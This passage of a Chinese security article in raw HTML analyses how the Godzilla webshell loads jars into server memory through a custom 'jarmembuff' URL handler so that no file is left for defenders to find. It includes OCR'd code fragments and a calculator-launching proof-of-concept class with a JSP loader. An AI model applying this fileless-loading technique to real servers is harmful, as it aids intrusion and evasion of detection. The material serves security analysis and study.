data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616727060618-8f36b4a4-4ee7-494e-8389-a5c5866c2b4e.png%22%2C%22originWidth%22%3A1047%2C%22originHeight%22%3A550%2C%22name%22%3A%22image.png%22%2C%22size%22%3A92928%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A79.33684%2C%22y%22%3A17.536053%2C%22width%22%3A294.87358%2C%22height%22%3A19.148407000000002%2C%22text%22%3A%22publicbooleanequals(objectol%22%7D%2C%7B%22x%22%3A357.98367%2C%22y%22%3A17.77842%2C%22width%22%3A57.40917999999999%2C%22height%22%3A19.042323999999997%2C%22text%22%3A%22cobj)%22%7D%2C%7B%22x%22%3A296.90753%2C%22y%22%3A43.206966%2C%22width%22%3A174.38761%2C%22height%22%3A20.053604%2C%22text%22%3A%22(PageContext)obj%22%7D%2C%7B%22x%22%3A110.86724%2C%22y%22%3A44.22713%2C%22width%22%3A198.13032000000004%2C%22height%22%3A17.359932999999998%2C%22text%22%3A%22PageContextpage%22%7D%2C%7B%22x%22%3A256.5488%2C%22y%22%3A68.664276%2C%22width%22%3A177.12859999999995%2C%22height%22%3A18.707994%2C%22text%22%3A%22page.getsessionO%22%7D%2C%7B%22x%22%3A111.88193%2C%22y%22%3A70.32235%2C%22width%22%3A120.96931%2C%22height%22%3A15.685239999999993%2C%22text%22%3A%22this.Session%22%7D%2C%7B%22x%22%3A111.81974%2C%22y%22%3A96.845345%2C%22width%22%3A130.66091%2C%22height%22%3A15.219104999999999%2C%22text%22%3A%22this.Response%22%7D%2C%7B%22x%22%3A272.0744%2C%22y%22%3A96.69873%2C%22width%22%3A189.42751999999996%2C%22height%22%3A17.33815%2C%22text%22%3A%22page.getResponseO%3B%22%7D%2C%7B%22x%22%3A248.5322%2C%22y%22%3A99.19027%2C%22width%22%3A15.014639999999986%2C%22height%22%3A12.127589999999998%2C%22text%22%3A%22%E4%B8%89%22%7D%2C%7B%22x%22%3A258.7736%2C%22y%22%3A120.65919%2C%22width%22%3A182.1343%2C%22height%22%3A20.897590000000008%2C%22text%22%3A%22page.getRequestO%3B%22%7D%2C%7B%22x%22%3A115.62085%2C%22y%22%3A123.7354%2C%22width%22%3A117.10976999999998%2C%22height%22%3A15.331019999999995%2C%22text%22%3A%22this.Request%22%7D%2C%7B%22x%22%3A308.839%2C%22y%22%3A147.26338%2C%22width%22%3A111.16926999999998%2C%22height%22%3A18.732409999999987%2C%22text%22%3A%22HashMaPO%3B%22%7D%2C%7B%22x%22%3A110.0717%2C%22y%22%3A149.094%2C%22width%22%3A141.93070999999998%2C%22height%22%3A17.198939999999993%2C%22text%22%3A%22HashMapresult%22%7D%2C%7B%22x%22%3A246.72527%2C%22y%22%3A150.09807%2C%22width%22%3A79.76849999999999%2C%22height%22%3A15.479019999999991%2C%22text%22%3A%22teneWH%22%7D%2C%7B%22x%22%3A110.14744%2C%22y%22%3A199.62341%2C%22width%22%3A50.9798%2C%22height%22%3A19.92801%2C%22text%22%3A%22tryf%22%7D%2C%7B%22x%22%3A137.98093%2C%22y%22%3A225.28116%2C%22width%22%3A245.60815000000002%2C%22height%22%3A20.618220000000008%2C%22text%22%3A%22URLurl-(newFile(libPa%22%7D%2C%7B%22x%22%3A335.5182%2C%22y%22%3A226.65115%2C%22width%22%3A264.32537%2C%22height%22%3A18.88094000000001%2C%22text%22%3A%22(libPath)).touRIO).toURLO%3B%22%7D%2C%7B%22x%22%3A432.948%2C%22y%22%3A248.92276%2C%22width%22%3A538.47864%2C%22height%22%3A24.800600000000003%2C%22text%22%3A%22(URLCLassLoader)classLoader.getsystemclassLoader%22%7D%2C%7B%22x%22%3A294.41595%2C%22y%22%3A253.09375%2C%22width%22%3A130.98282%2C%22height%22%3A17.001770000000022%2C%22text%22%3A%22uriclassLoader%22%7D%2C%7B%22x%22%3A140.75294%2C%22y%22%3A254.20547%2C%22width%22%3A142.70237999999998%2C%22height%22%3A16.094330000000014%2C%22text%22%3A%22URLCLassLoader%22%7D%2C%7B%22x%22%3A272.5052%2C%22y%22%3A277.8869%2C%22width%22%3A659.19335%2C%22height%22%3A20.02816999999999%2C%22text%22%3A%22URLCLASLOADEPCLagEDeCLethdn%5C%22DURL%5C%22%22%7D%2C%7B%22x%22%3A141.08232%2C%22y%22%3A280.498%2C%22width%22%3A102.83106999999998%2C%22height%22%3A15.600599999999986%2C%22text%22%3A%22Methodadd%22%7D%2C%7B%22x%22%3A183.14307%2C%22y%22%3A305.09894%2C%22width%22%3A194.69723000000002%2C%22height%22%3A19.57827999999995%2C%22text%22%3A%22setAccessible(true)%3B%22%7D%2C%7B%22x%22%3A141.7905%2C%22y%22%3A308.04218%2C%22width%22%3A49.422560000000004%2C%22height%22%3A13.778620000000046%2C%22text%22%3A%22add.s%22%7D%2C%7B%22x%22%3A344.98282%2C%22y%22%3A333.26434%2C%22width%22%3A113.8295%2C%22height%22%3A16.94959%2C%22text%22%3A%22oader%2Cur&#39;)%3B%22%7D%2C%7B%22x%22%3A251.92087%2C%22y%22%3A333.97717%2C%22width%22%3A85.09356%2C%22height%22%3A14.875769999999989%2C%22text%22%3A%22UrlcLassL%22%7D%2C%7B%22x%22%3A141.33652%2C%22y%22%3A335.4455%2C%22width%22%3A99.37237999999999%2C%22height%22%3A13.038360000000011%2C%22text%22%3A%22add.invoke%22%7D%2C%7B%22x%22%3A427.68558%2C%22y%22%3A359.02798%2C%22width%22%3A31.556789999999978%2C%22height%22%3A17.06048999999996%2C%22text%22%3A%22%5C%22)%3B%22%7D%2C%7B%22x%22%3A141.6505%2C%22y%22%3A359.6392%2C%22width%22%3A185.68140000000002%2C%22height%22%3A16.51661999999999%2C%22text%22%3A%22result.put(%5C%22status%5C%22%22%7D%2C%7B%22x%22%3A358.63574%2C%22y%22%3A360.54108%2C%22width%22%3A77.30923999999999%2C%22height%22%3A14.470719999999972%2C%22text%22%3A%22success%22%7D%2C%7B%22x%22%3A193.31967%2C%22y%22%3A383.3485%2C%22width%22%3A174.65453%2C%22height%22%3A18.780680000000018%2C%22text%22%3A%22(Exceptionvar8)%22%7D%2C%7B%22x%22%3A130.36534%2C%22y%22%3A386.90854%2C%22width%22%3A49.71170000000001%2C%22height%22%3A13.652659999999969%2C%22text%22%3A%22catch%22%7D%2C%7B%22x%22%3A141.69585%2C%22y%22%3A407.43152%2C%22width%22%3A288.65297%2C%22height%22%3A22.19308000000001%2C%22text%22%3A%22result.put(%5C%22status%5C%22%2C%5C%22fail%5C%22)%3B%22%7D%2C%7B%22x%22%3A141.0166%2C%22y%22%3A436.1417%2C%22width%22%3A368.2309%2C%22height%22%3A19.36583999999999%2C%22text%22%3A%22result.put%5C%22msg%5C%22var8.getMessageO)%3B%22%7D%2C%7B%22x%22%3A109.65684%2C%22y%22%3A514.3281%2C%22width%22%3A53.56616000000001%2C%22height%22%3A20.8732500000001%2C%22text%22%3A%22try%22%7D%5D%2C%22style%22%3A%22none%22%2C%22search%22%3A%22publicbooleanequals(objectol%20cobj)%20(PageContext)obj%20PageContextpage%20page.getsessionO%20this.Session%20this.Response%20page.getResponseO%3B%20%E4%B8%89%20page.getRequestO%3B%20this.Request%20HashMaPO%3B%20HashMapresult%20teneWH%20tryf%20URLurl-(newFile(libPa%20(libPath)).touRIO).toURLO%3B%20(URLCLassLoader)classLoader.getsystemclassLoader%20uriclassLoader%20URLCLassLoader%20URLCLASLOADEPCLagEDeCLethdn%5C%22DURL%5C%22%20Methodadd%20setAccessible(true)%3B%20add.s%20oader%2Cur&#39;)%3B%20UrlcLassL%20add.invoke%20%5C%22)%3B%20result.put(%5C%22status%5C%22%20success%20(Exceptionvar8)%20catch%20result.put(%5C%22status%5C%22%2C%5C%22fail%5C%22)%3B%20result.put%5C%22msg%5C%22var8.getMessageO)%3B%20try%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%2C%22width%22%3A523.5%2C%22height%22%3A275%7D"><img data-height="275px" data-ratio="0.5253104106972302" title="image.png" data-type="png" data-w="1047" style="visibility: visible;width: 523.5px;" src="https://wechat2rss.xlab.app/img-proxy/?k=e7d9fa31&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG9BoqMiaTPDiblXWN6FwE37FEQHn26xj7uNqcIqYP5zeY0KOlP1eNJlibPg%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="4c7fb2605016d6c8f8c4c7137e6f0c46" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><h4 data-lake-id="649a2a2f5d0b70213103bb11e00f1aa4" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;line-height: 24px;text-align: center;">哥斯拉</h4><p style="text-align: left;"><br/></p><p data-lake-id="3555f7a3bf5d6bfdf3bafd5666d8db35" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;">哥斯拉的操作就比较秀了。因为打入一个jar不像打入一个class一样，直接有defineClass方法去接收一个字节数组。据我的研究，没有直接接收一个jar的字节数组的方法。打入jar需要使用<strong>URLClassLoader</strong>这个类，大概有两种方式，一种是利用http协议，远程获取所要加载的jar。另一种是file协议，从本地路径去读取jar。</p><p data-lake-id="3555f7a3bf5d6bfdf3bafd5666d8db35" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;"><br/></p><p data-lake-id="e520a80a48eb0979f4652c531fd82d64" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;">每次都额外搭一个http当然不方便，并且目标还不一定出网。但是file协议的话还需要把jar写到磁盘中，文件就会落地，增加了被发现的风险。</p><p data-lake-id="e520a80a48eb0979f4652c531fd82d64" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;"><br/></p><p data-lake-id="b97c0ac85f2ed863c441173611a437c7" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;">但是我们回过头想，既然通过file协议加载jar，肯定会有一个通过路径找到文件，然后把文件读取到内存的过程，如果我们能跳过这个根据路径找文件的过程，直接把文件的内容写到字节数组里不就可以文件不落地了吗？</p><p data-lake-id="b97c0ac85f2ed863c441173611a437c7" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;"><br/></p><p data-lake-id="9e1abbc35ae9cf92d03af41fe374b919" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;">哥斯拉就是采用的这种做法，利用两个子类分别继承了<span style="color: #000000;">URLStreamHandler跟URLConnection，然后利用反射模拟了读取文件的过程。</span></p><p data-lake-id="be5302455395899b6b63b8ce7746c46d" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;"><span style="color: #000000;"><br/></span></p><p data-lake-id="be5302455395899b6b63b8ce7746c46d" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;"><span style="font-size: 14px;"><span style="font-size: 14px;color: rgb(0, 0, 0);">创建了一种新的协</span>议jarmembuff</span></p><p data-lake-id="02137c95bbb2152c704cccdc759b1de6" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span style="color: #000000;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616727986121-7d77c07d-beb5-4e99-b595-487317c1b9d5.png%22%2C%22originWidth%22%3A982%2C%22originHeight%22%3A437%2C%22name%22%3A%22image.png%22%2C%22size%22%3A70933%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A87.98361%2C%22y%22%3A51.868385%2C%22width%22%3A339.55169%2C%22height%22%3A19.843655%2C%22text%22%3A%22declaredField.setAccessible(true)%22%7D%2C%7B%22x%22%3A87.26037%2C%22y%22%3A77.37654%2C%22width%22%3A471.32587%2C%22height%22%3A20.89825599999999%2C%22text%22%3A%22Mapmap-(Map)declaredfield.get(bjct)nu%22%7D%2C%7B%22x%22%3A247.25877%2C%22y%22%3A103.475494%2C%22width%22%3A35.939809999999994%2C%22height%22%3A20.001316000000003%2C%22text%22%3A%22)f%22%7D%2C%7B%22x%22%3A89.02744%2C%22y%22%3A105.65446%2C%22width%22%3A171.78884%2C%22height%22%3A18.345789999999994%2C%22text%22%3A%22synchronized(map)%22%7D%2C%7B%22x%22%3A128.56439%2C%22y%22%3A132.37613%2C%22width%22%3A359.36782999999997%2C%22height%22%3A17.166030000000006%2C%22text%22%3A%22ObjectmemoryBufferURLStreamHandler%3B%22%7D%2C%7B%22x%22%3A128.88062%2C%22y%22%3A157.86926%2C%22width%22%3A36.77499%2C%22height%22%3A16.90061%2C%22text%22%3A%22if(%22%7D%2C%7B%22x%22%3A147.16971%2C%22y%22%3A158.36497%2C%22width%22%3A343.28409%2C%22height%22%3A17.48087000000001%2C%22text%22%3A%22f(map.containskey%5C%22jarmembuff%5C%22))%22%7D%2C%7B%22x%22%3A167.13516%2C%22y%22%3A185.22672%2C%22width%22%3A531.2372799999999%2C%22height%22%3A17.198700000000002%2C%22text%22%3A%22MeMorBufferURLStreamHandLermaP.get%5C%22jarmembuff)%3B%22%7D%2C%7B%22x%22%3A127.50644%2C%22y%22%3A210.9005%2C%22width%22%3A78.22111000000001%2C%22height%22%3A16.87593000000001%2C%22text%22%3A%22elsef%22%7D%2C%7B%22x%22%3A167.98553%2C%22y%22%3A232.50183%2C%22width%22%3A661.0462699999999%2C%22height%22%3A25.340769999999992%2C%22text%22%3A%22memoryBufferURLStreamlandLerEneWHemorYBufferURLStreamllandLe%3B%22%7D%2C%7B%22x%22%3A171.84335%2C%22y%22%3A262.83057%2C%22width%22%3A515.46518%2C%22height%22%3A18.51628999999997%2C%22text%22%3A%22map.putc%5C%22jarmembuff%5C%22%2CmemoryBufferURLstreamHandLen)%3B%22%7D%2C%7B%22x%22%3A131.58301%2C%22y%22%3A340.04858%2C%22width%22%3A847.39509%2C%22height%22%3A22.88279%2C%22text%22%3A%22HisE(CistmmryuffruRStremandLergetcas0.gethom%22%7D%2C%7B%22x%22%3A133.15794%2C%22y%22%3A393.97632%2C%22width%22%3A174.14003000000002%2C%22height%22%3A17.750940000000014%2C%22text%22%3A%22(Exceptionvar8)f%22%7D%2C%7B%22x%22%3A66.67325%2C%22y%22%3A395.87936%2C%22width%22%3A50.847525000000005%2C%22height%22%3A15.331489999999974%2C%22text%22%3A%22catch%22%7D%5D%2C%22style%22%3A%22none%22%2C%22search%22%3A%22declaredField.setAccessible(true)%20Mapmap-(Map)declaredfield.get(bjct)nu%20)f%20synchronized(map)%20ObjectmemoryBufferURLStreamHandler%3B%20if(%20f(map.containskey%5C%22jarmembuff%5C%22))%20MeMorBufferURLStreamHandLermaP.get%5C%22jarmembuff)%3B%20elsef%20memoryBufferURLStreamlandLerEneWHemorYBufferURLStreamllandLe%3B%20map.putc%5C%22jarmembuff%5C%22%2CmemoryBufferURLstreamHandLen)%3B%20HisE(CistmmryuffruRStremandLergetcas0.gethom%20(Exceptionvar8)f%20catch%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%2C%22width%22%3A491%2C%22height%22%3A219%7D"><img data-height="219px" data-ratio="0.445010183299389" title="image.png" data-type="png" data-w="982" style="visibility: visible;width: 491px;" src="https://wechat2rss.xlab.app/img-proxy/?k=7019833a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG93lKibh8otlZwoNFMesEbg2uXK6w8AVjhqIEgJGM4QtSvFYIAvxmwx9g%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p data-lake-id="173fdc318f2a72c69804dae63f298d1d" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;"><span style="color: rgb(0, 0, 0);font-size: 14px;">然后把收到的jar文件的字节数组给放到变量里。</span></p><p data-lake-id="e69f8ecc815dd1773eb7bc5116362022" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span style="color: #000000;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616728016542-3bfe2933-2cb0-404b-a8c1-5be924aa4c81.png%22%2C%22originWidth%22%3A998%2C%22originHeight%22%3A215%2C%22name%22%3A%22image.png%22%2C%22size%22%3A32557%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A37.418865%2C%22y%22%3A19.956882%2C%22width%22%3A824.527975%2C%22height%22%3A19.758398%2C%22text%22%3A%22puplicstaticULcteuRCYtebngxetion%22%7D%2C%7B%22x%22%3A72.14528%2C%22y%22%3A48.2126%2C%22width%22%3A201.18498%2C%22height%22%3A17.959145%2C%22text%22%3A%22synchronizedfiles)%22%7D%2C%7B%22x%22%3A110.20373%2C%22y%22%3A71.75288%2C%22width%22%3A158.30273999999997%2C%22height%22%3A21.863349999999997%2C%22text%22%3A%22files.add(bArr)%3B%22%7D%2C%7B%22x%22%3A523.05927%2C%22y%22%3A97.436714%2C%22width%22%3A430.94783000000007%2C%22height%22%3A22.74104600000001%2C%22text%22%3A%22host%3A%5C%22%2Cfile%3Afiles%2Csize0-1%2B%5C%22%2F%5C%22%2Bstr)%3B%22%7D%2C%7B%22x%22%3A374.50876%2C%22y%22%3A100.76947%2C%22width%22%3A121.48520000000002%2C%22height%22%3A17.178489999999996%2C%22text%22%3A%22%5C%22jarmembuff%5C%22%22%7D%2C%7B%22x%22%3A110.05517%2C%22y%22%3A100.61895%2C%22width%22%3A74.82737%2C%22height%22%3A17.88901%2C%22text%22%3A%22URLur&#39;%22%7D%2C%7B%22x%22%3A208.74875%2C%22y%22%3A99.76323%2C%22width%22%3A159.81357%2C%22height%22%3A18.767770000000013%2C%22text%22%3A%22neWURLCprotocol%3A%22%7D%2C%7B%22x%22%3A110.4564%2C%22y%22%3A127.790405%2C%22width%22%3A107.94256999999999%2C%22height%22%3A16.459324999999993%2C%22text%22%3A%22returnurl%3B%22%7D%5D%2C%22style%22%3A%22none%22%2C%22search%22%3A%22puplicstaticULcteuRCYtebngxetion%20synchronizedfiles)%20files.add(bArr)%3B%20host%3A%5C%22%2Cfile%3Afiles%2Csize0-1%2B%5C%22%2F%5C%22%2Bstr)%3B%20%5C%22jarmembuff%5C%22%20URLur&#39;%20neWURLCprotocol%3A%20returnurl%3B%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%2C%22width%22%3A499%2C%22height%22%3A108%7D"><img data-height="108px" data-ratio="0.2154308617234469" title="image.png" data-type="png" data-w="998" style="visibility: visible;width: 499px;" src="https://wechat2rss.xlab.app/img-proxy/?k=8d5ef5f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG99oS09G0rol6WEz7teGCEkrjFrEC7HpbzAgsLKoC6mBuvZeUibSVpr4A%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p data-lake-id="4910de782bbb022ceff64740131f6ca0" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">这样就实现了文件不落地，将jar打入内存的目的。</p><p data-lake-id="bd32933c1fbe8f2519639fdf087f7985" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="b12053e3a1b6493c13b86b2090057acf" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">本人在As-Exploits里也采用了这种做法。</p><p data-lake-id="b12053e3a1b6493c13b86b2090057acf" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><h4 data-lake-id="29a5a0d066d92778c5b77af45c2c2aac" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;line-height: 24px;text-align: center;">小实验</h4><p data-lake-id="8a7028963c34e60fdd703082985be4aa" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">这里做一个小实验</p><p data-lake-id="8a7028963c34e60fdd703082985be4aa" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span style="letter-spacing: 0.008em;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">写一个弹框测试类</span></p><pre style="background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);"><br/></pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.IOException;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">calc</span> {</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__title">calc</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            Runtime.getRuntime().exec(<span class="code-snippet__string">&#34;calc&#34;</span>);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (IOException var2) {</span></code><code><span class="code-snippet_outer">            var2.printStackTrace();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><pre style="background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);"><br/></pre><p data-lake-id="92ba8debbde0580513495d2ee6ad4a77" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;">jar -cvf 打包成 jar</p><p data-lake-id="92ba8debbde0580513495d2ee6ad4a77" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="5af2d4d83b9167ee3f47fcad8848144f" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;">开个web项目，写一个test.jsp如下。去查找calc这个类并且实例化。如果实例化成功则会弹出我们的计算器。</p><pre style="background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);"><span style="background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);"><span style="color: rgb(215, 58, 73);background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);"></span></span></pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer">&lt;%</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__selector-tag">Class</span><span class="code-snippet__selector-class">.forName</span>(&#34;<span class="code-snippet__selector-tag">calc</span>&#34;)<span class="code-snippet__selector-class">.newInstance</span>();</span></code><code><span class="code-snippet_outer">%&gt;</span></code></pre></section><pre style="background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);"><br/></pre><p data-lake-id="6e6f3100dd05819052c8a637ff5f6417" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">在第一次访问的时候找不到这个类肯定会报错</p><p data-lake-id="6e6f3100dd05819052c8a637ff5f6417" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="c564ed2e33673fa82df511d8767848cd" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616728798236-5f42d565-f8d2-4207-866a-e0f5918dad1b.png%22%2C%22originWidth%22%3A998%2C%22originHeight%22%3A715%2C%22name%22%3A%22image.png%22%2C%22size%22%3A63411%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A327.70944%2C%22y%22%3A11.305981%2C%22width%22%3A19.883820000000014%2C%22height%22%3A19.883820000000014%2C%22text%22%3A%22%2B%22%7D%2C%7B%22x%22%3A54.30461%2C%22y%22%3A11.911066%2C%22width%22%3A244.11929%2C%22height%22%3A16.621184%2C%22text%22%3A%22HTTP%E7%8A%B6%E6%80%81500-%E5%86%85%E9%83%A8%E6%9C%8D%E5%8A%A1%E5%99%A8%E9%94%99%E8%AF%AFx%22%7D%2C%7B%22x%22%3A18.249792%2C%22y%22%3A53.961323%2C%22width%22%3A437.23274799999996%2C%22height%22%3A21.653896999999994%2C%22text%22%3A%22cdolocalhost%3A8888%2Ftest%2Ftest1jsp%22%7D%2C%7B%22x%22%3A11.0198%2C%22y%22%3A109.535736%2C%22width%22%3A409.35987%2C%22height%22%3A32.126254%2C%22text%22%3A%22HTTP%E7%8A%B6%E6%80%81500-%E5%86%85%E9%83%A8%E6%9C%8D%E5%8A%A1%E5%99%A8%E9%94%99%E8%AF%AF%22%7D%2C%7B%22x%22%3A8.756505%2C%22y%22%3A178.85509%2C%22width%22%3A97.136505%2C%22height%22%3A18.681939999999997%2C%22text%22%3A%22%E7%B1%BB%E5%9E%8B%E5%BC%82%E5%B8%B8%E6%8A%A5%E5%91%8A%22%7D%2C%7B%22x%22%3A8.32206%2C%22y%22%3A213.35382%2C%22width%22%3A315.61014%2C%22height%22%3A18.722729999999984%2C%22text%22%3A%22%E6%B6%88%E6%81%AF%E5%9C%A8%5B3%5D%E8%A1%8C%E5%A4%84%E7%90%86%5Btestitest1.jsp%5D%E6%97%B6%E5%8F%91%E7%94%9F%E5%BC%82%E5%B8%B8%22%7D%2C%7B%22x%22%3A9.021656%2C%22y%22%3A250.057%2C%22width%22%3A341.025284%2C%22height%22%3A17.02988000000002%2C%22text%22%3A%22%E6%8F%8F%E8%BF%B0%E6%9C%8D%E5%8A%A1%E5%99%A8%E9%81%87%E5%88%B0%E4%B8%80%E4%B8%AA%E6%84%8F%E5%A4%96%E7%9A%84%E6%83%85%E5%86%B5%2C%E9%98%BB%E6%AD%A2%E5%AE%83%E5%AE%8C%E6%88%90%E8%AF%B7%E6%B1%82.%22%7D%2C%7B%22x%22%3A7.7043395%2C%22y%22%3A283.45932%2C%22width%22%3A64.1384005%2C%22height%22%3A19.355380000000025%2C%22text%22%3A%22%E4%BE%8B%E5%A4%96%E6%83%85%E5%86%B5%22%7D%2C%7B%22x%22%3A8.196046%2C%22y%22%3A318.83252%2C%22width%22%3A618.406614%2C%22height%22%3A17.73653999999999%2C%22text%22%3A%22og.apache.jasper.Jaxcetin%3A(%5D%E5%A4%84%E7%90%86%5B%2Ftest%2Ftest1.%E6%97%B6%E5%8F%91%E7%94%9F%E5%BC%82%E5%B8%B8%22%7D%2C%7B%22x%22%3A7.134852%2C%22y%22%3A356.89935%2C%22width%22%3A19.783606999999996%2C%22height%22%3A19.783606999999996%2C%22text%22%3A%22C2110%22%7D%2C%7B%22x%22%3A64.19272%2C%22y%22%3A390.88248%2C